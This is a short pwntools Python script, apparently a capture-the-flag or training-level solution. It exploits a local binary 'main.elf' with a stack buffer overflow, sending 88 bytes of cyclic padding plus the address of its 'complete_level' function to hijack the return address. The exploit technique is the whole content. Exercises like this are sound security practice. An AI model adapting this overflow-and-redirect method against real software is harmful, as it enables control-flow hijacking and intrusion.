from pwn import *

context.log_level = "info"

io = process("./main.elf")

data = io.recvline().decode("utf-8")
print("[INFO] - {}".format(data), end="")

# payload = cyclic(135, n=8)
# io.sendline(payload)
# write("payload", payload)
# print(cyclic_find(0x616161616161616c, n=8))


crash = ELF('./main.elf')

adress_win = crash.symbols.complete_level

print(adress_win)

payload = cyclic(88) + pack(adress_win)

print(pack(adress_win))

io.sendline(payload)

data = io.recvline().decode("utf-8")
print("[INFO] - {}".format(data), end="")

data = io.recvline().decode("utf-8")
print("[INFO] - {}".format(data), end="")
